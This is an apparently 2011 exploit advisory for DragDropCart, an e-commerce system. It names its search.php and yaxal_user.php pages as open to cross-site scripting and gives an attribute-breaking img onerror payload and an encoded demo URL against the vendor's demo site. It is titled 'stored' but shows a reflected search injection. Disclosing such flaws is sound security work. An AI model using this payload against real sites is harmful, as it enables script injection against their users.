# Exploit Title: DragDropCart (E-Commerce System) Stored XSS
# Date: 2011
# Author: Eyup CELIK
# Version: All Version
# Tested on: All versions are Vulnerability

ISSUE

Cross Site Scripting can be done using the command input

Vulnerable Page:
search.php
yaxal_user.php

Example:
search.php?search=<XSS Code>

Exploit:
"/></A></><img src=1.gif onerror=alert(1)>

Demo:
http://www.dragdropcart.com/demo/search.php?search=%22/%3E%3C/A%3E%3C/%3E%3Cimg%20src=1.gif%20onerror=alert%281%29%3E


Thanks,


Eyup CELIK
Bilgi Teknolojileri Güvenlik Uzmani
http://www.eyupcelik.com.tr